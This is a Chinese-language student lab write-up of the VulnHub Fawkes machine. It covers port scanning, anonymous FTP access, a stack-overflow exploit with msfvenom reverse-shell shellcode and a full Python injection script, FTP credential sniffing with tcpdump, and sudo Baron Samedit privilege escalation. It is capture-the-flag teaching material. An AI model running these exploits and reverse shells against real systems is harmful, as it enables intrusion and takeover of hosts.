网络攻防实战 第七次实验

邮箱:keekkewy@qq.com

2022年11月2日

靶机连接:https://vulnhub.com/entry/harrypotter-fawkes,686/

一、实验目的

取得目标靶机的 root 权限并获得三个 flag。

我们将使用到以下攻击手段:

  • 主机发现、端口扫描
  • FTP匿名登录
  • edb 调试程序
  • 栈溢出攻击
  • tcpdump 流量分析
  • sudo 漏洞提权

二、实验内容

kali: 10.0.2.15

靶机: 10.0.2.11

0x00. 准备工作

  1. 获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:

    1
    2
    3
    $ sudo arp-scan -I eth0 -l
    $ sudo nmap -p- 10.0.2.11
    $ sudo nmap -p21,22,80,2222,9898 -sV 10.0.2.11 -A
    扫描其开放的端口以及个端口上对应的服务

    发现两个比较特殊的端口:

    21 - ftp 服务并允许匿名登录获取文件 server_hogwarts

    9898 - 一个自定义的服务。

  2. 访问80端口并查看网页源码,发现只有一张图片,并没有其他有价值的信息:

    访问80端口 查看网页源码

0x01. FTP 匿名登录

  1. 查看我们端口扫描获取的信息:

    端口扫描获取的信息

    说明该 FTP 服务可以使用用户名 Anonymous 无密码登入并可以查看文件 server_hogwarts

  2. 通过 FTP 登入靶机并使用 get 指令下载上述文件:

    1
    2
    $ ftp 10.0.2.11
    ftp> get server_hogwarts
    使用 get 指令下载上述文件
  3. 查看文件类型,发现是一个 ELF 可执行文件:

    1
    $ file server_hogwarts
    查看文件类型
  4. 给予执行权限,尝试执行:

    给予执行权限,尝试执行

    发现什么都没有输出,但是 shell 阻塞住了并没有退出,说明该程序确实启动了。

  5. 查看后台进程:

    1
    $ ps -aux | grep server		# 显示名字包含server的所有进程
    查看后台进程

    发现该程序确实创建了后台进程。

  6. 查看该进程的连接信息:

    1
    $ ss -pantu | grep server_hogwarts
    查看该进程的连接信息

    发现该进程运行在9898端口上,联想到靶机9898端口上的自定义服务,推测该程序即为靶机9898端口上所运行的服务。

  7. 使用 nc 命令监听该端口:

    使用nc命令监听该端口

    发现我们可以进行输入,推测存在栈溢出攻击。

0x02. 栈溢出攻击

  1. 使用 checksec 工具查看该文件开启了哪些保护机制:

    安装:$ apt install checksec

    1
    $ file server_hogwarts
    查看该文件开启了哪些保护机制
    • STACK CANARY:在初始化堆栈时在栈底插入一个随机生成的 cookie,在函数返回前调用 __stack_chk_fail 检查 cookie 有没有发生变化,若发生变化则不返回,而直接终止程序。由于缓冲区溢出攻击时往往会覆盖掉 cookie 的值,故该保护机制开启时会导致常规的溢出攻击失效,程序会直接终止而不是跳转至攻击者注入的目标地址。
    • NX:开启时栈中数据没有执行权限,即攻击者不能通过缓冲区溢出注入攻击代码;
    • PIE:编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定,使程序的内存布局难以预料。

    参考:checksec

    NXPIE 关闭,我们可以尝试注入反弹 shell 的代码并使其被执行,从而获取反弹 shell。

    STACK CANARY 被开启了,意味着注入时我们也许要针对其进行某种绕过,先不管它。

  2. 将 kali 本机上的 ALSR 安全机制关闭,该技术会导致地址空间随机化,不便于调试:

    1
    # echo 0 > /proc/sys/kernel/randomize_va_space
  3. 使用 edb 对当前程序进行调试,探测注入点:

    安装:$ apt install edb-debugger

    1
    $ sudo edb

    点击 File-> Attach

    查看该文件开启了哪些保护机制 image-20221102131334120

    选择目标进程:

    image-20221102131449821

    点击运行:

    image-20221102131645942

    使用 python 生成500个“A”,并在监听窗口进行输入:

    1
    $ python -c "print(500*'A')"
    image-20221102132043611

    触发报错且看到“0x41414141”,查看此时 EIP 寄存器的值:

    image-20221102132228938

    发现变成了 0x41414141,而 ‘0x41’ 为 ‘A’ 的十六进制编码,说明我们输入的字符成功覆盖了函数返回地址,导致程序发生了错误跳转。

    “诶?不是说这个程序开启了 STACK CANARY 保护机制,会对栈溢出做检查吗?为什么直接注入就成了?”

    重新执行上述操作,并重新监听9898端口。点击单步调试:

    image-20221102133244528

    同样输入500个A, 回到 edb 继续追踪,直到触发错误,记录此时的指令地址:

    image-20221102134114851

    发现在追踪的过程中没有调用 __stack_chk_fail 函数检查 cookie 的正确性。通过 objdump 查看其反汇编代码进一步确认,发现原来 __stack_chk_fail 只在一部分函数返回前被调用了,而在注入点所在的函数中未被调用,因此我们可以正常进行注入。

    image-20221102134746962 image-20221102134658874

    综上,Canary found 仅代表程序中存在检查机制,而不一定在所有的ret 语句前都做了检查。在进行渗透测试时应先尝试注入,不要被一些未验证的细节限制了思路。

  4. 使用 msf-pattern 工具进行溢出点在输入字符串中位置的探测:

    1
    $ msf-pattern_create -l 500		# 生成长度为500的模式字符串
    image-20221102140948014

    重新程序并重新开始调试,将生成的模式字符串作为输入:

    image-20221102141044293

    提示我们此时 EIP 中的值为 0x64413764,即我们输入的字符串中编码为“\x64\x41\x37\x64”的字串进入了 EIP 中。查找该段编码对应的字符串在模式字符串中的偏移量:

    1
    $ msf-pattern_offset -l 500 -q 64413764
    image-20221102143036638

    也就是说从模式字符串中的第113个字符串开始造成了栈溢出。

  5. 使用 python 生成一段自定义字符串进行验证:

    1
    $ python -c "print(112*'A' + 'BBBB' + 100*'C')"

    将生成的字符串输入后,查看 EIP 和栈中的值:

    image-20221102145117162

    发现第113、114、115、116个字符(“BBBB”)恰好进入 EIP,而其后的字符保留在栈中。

    设想将反弹 shell 代码注入栈中,而使程序跳转到栈中执行(jmp esp),即可令靶机上的程序执行反弹 shell 代码生成反弹 shell。

  6. 寻找原程序中的 jmp esp 指令,打开 edbOpcode Search

    image-20221102150253164

    选择一个可执行段,然后选择搜索 ESP -> EIP

    image-20221102150439846

    找到 jmp esp 指令并记录其地址(0x08049d55):

    image-20221102150528530
  7. 构造注入字符串:

    1
    $ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -b "\x00" -f py
    • LHOST:改为 kali 的 IP;
    • LPORT:改为监听反弹 shell 的端口号;
    • -b "\x00":过滤坏字符(’\0’),避免输入提前终止。
    image-20221102151042228
  8. 编写注入脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import struct, socket

    buf = b""
    buf += b"\xd9\xec\xbe\xe7\x1d\x4c\x47\xd9\x74\x24\xf4\x5f"
    buf += b"\x29\xc9\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x08"
    buf += b"\xe1\xae\xb2\xe7\xc1\xd8\xde\x54\xb5\x75\x4b\x58"
    buf += b"\xb0\x9b\x3b\x3a\x0f\xdb\xaf\x9b\x3f\xe3\x02\x9b"
    buf += b"\x09\x65\x64\xf3\x83\x95\x94\x0c\xfc\x97\x98\x03"
    buf += b"\xa0\x1e\x79\x93\x3e\x71\x2b\x80\x0d\x72\x42\xc7"
    buf += b"\xbf\xf5\x06\x6f\x2e\xd9\xd5\x07\xc6\x0a\x35\xb5"
    buf += b"\x7f\xdc\xaa\x6b\xd3\x57\xcd\x3b\xd8\xaa\x8e"

    payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf

    s=socket.socket()
    s.connect(('10.0.2.11',9898))
    s.send((payload))
    s.close()

    关于上述脚本,我们在栈溢出跳转地址和攻击代码之间加入了一长串空指令 nop\x90)。至于为什么一定要加上这一段,我们先看看运行注入代码时发生了什么。

    在本地调试时,上述脚本中 connect 的 IP 参数要更改为 127.0.0.1

    程序成功跳转到 jmp esp 指令时,观察栈中数据,发现从 08049d55 (我们注入的 jmp esp 指令地址)之后紧接着就是我们加入的32个 \x90

    image-20221102160339385

    接着往下看,当程序运行到 fnstenv [esp - 0xc] 指令时,栈中数据发生了变化,部分空指令被新数据覆盖:

    image-20221102160608834

    注入代码中存在指令修改了栈顶数据,若不加空指令,我们的注入代码本身就处于栈顶,则会在执行过程中将自身的代码覆盖掉。添加空指令之后,EIP 会沿着空指令一直增长到真正的注入代码,而 ESP 不变,使 EIP 与 ESP 拉开一定的距离,一定程度上保证注入在栈中的代码不会被修改。

    在注入时加入一段空指令可以提高程序稳定性,一般加入的空指令数为4的倍数

  9. 监听 4444 端口,执行上述脚本,获取反弹 shell:

    image-20221102163819732

0x03. 信息收集

  1. 发现当前用户的主目录下存在隐藏文件:

    image-20221102164827048

    查看该文件内容:

    HarrYp0tter@Hogwarts123

    image-20221102165848456

    疑似某个密码,联想此前靶机上开放的 ssh 端口,尝试通过 ssh 登录靶机。

  2. 首先通过22端口登录,发现登录失败;转而通过2222端口登录,发现登录成功:

    image-20221102170759008
  3. 查看用户权限:

    1
    $ sudo -l
    image-20221102170906423

    发现当前用户可以不使用密码通过 sudo 执行所有命令。

  4. 使用 sudo -i 指令直接提权,并发现 root 账号主目录下存在两个文件:

    image-20221102171235709
  5. 查看当前环境 IP:

    image-20221102171442911

    根据 lab2 的经验,我们进入的可能是一个 docker 容器而非靶机本身。

  6. 查看此前发现的两个文件:

    • horcrux1.txt:horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}

    • note.txt:

      Hello Admin!!

      We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

    第一个文件为我们发现的第一个 Flag,第二个文件为一些提示,提示我们需要监听靶机 FTP 服务的流量,即靶机21端口的流量。

0x04. tcpdump 流量分析

  1. 使用 tcpdump 命令监听靶机21端口:

    1
    $ tcpdump -i eth0 port 21
    image-20221102172625767
  2. 等待片刻后发现输出了一些流量记录:

    image-20221102173440633

    发现其握手信息中包含用户名和密码。

    • USER:neville
    • PASS:bL!Bsg3k
  3. 尝试使用上述用户名和密码通过靶机的22端口登入靶机:

    image-20221102173809386

    成功登录后,通过 IP 信息发现此时环境为真正的靶机。

  4. 查看当前路径下的文件,获取第二个 Flag:

    • horcrux2.txt:horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
    image-20221102174006923

0x05. sudo 漏洞提权

  1. 查看内核与 sudo 版本信息:

    image-20221102174336959
  2. 上网搜索相关的漏洞信息,最终发现针对当前版本 sudo 的一个漏洞及其利用代码:

    CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

    利用代码:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

    image-20221102182310949

    将此处 sudo 的路径更改为靶机上 sudo 的路径:

    image-20221102182406991
  3. 在 kali 上开启 web 应用,将该文件上传至靶机运行:

    image-20221102182723675

    成功提权!

  4. 前往靶机的 /root/ 路径,发现第三个 Flag:

    image-20221102182855456

三、实验结果

  • Flag1:horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}

  • Flag2:horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}

  • Flag3:

    image-20221102182855456
  • root 权限:

    image-20221102182723675

四、总结

  • 从端口服务信息中得知靶机 FTP 服务允许匿名登录,尝试匿名登录,通过 get 指令下载文件server_hogwarts,发现是一个可执行文件;
  • 试运行该程序,推测该程序与靶机 9898 端口所运行服务的程序相同;
  • 使用 edb 对该程序进行调试,发现栈溢出攻击注入点,并编写注入脚本,向靶机 9898 端口服务注入反弹 shell 代码;
  • 成功获取反弹 shell,在当前用户主目录的隐藏文件中发现可用于 ssh 登录的密码;
  • 使用 ssh 通过靶机 2222端口登录后,发现位于一个容器中,且当前用户可以直接使用 sudo -i 进行提权。在当前容器 root 用户的主目录中发现第一个 Flag;
  • 使用 tcpdump 监听容器 21 端口的流量,发现 FTP 的握手过程包含了用户名和密码,猜测可以用来通过 ssh 登入靶机。尝试后成功通过22端口进入靶机;
  • 在靶机当前用户的主目录下发现第二个 Flag;
  • 查看发行版本以及 sudo 版本,上网查找相关漏洞,最终找到可用的漏洞利用代码。简单修改后,从 kali 上传靶机,在靶机执行后成功获取 root 权限。
  • 在靶机 root 用户的主目录下,发现最后一个 Flag。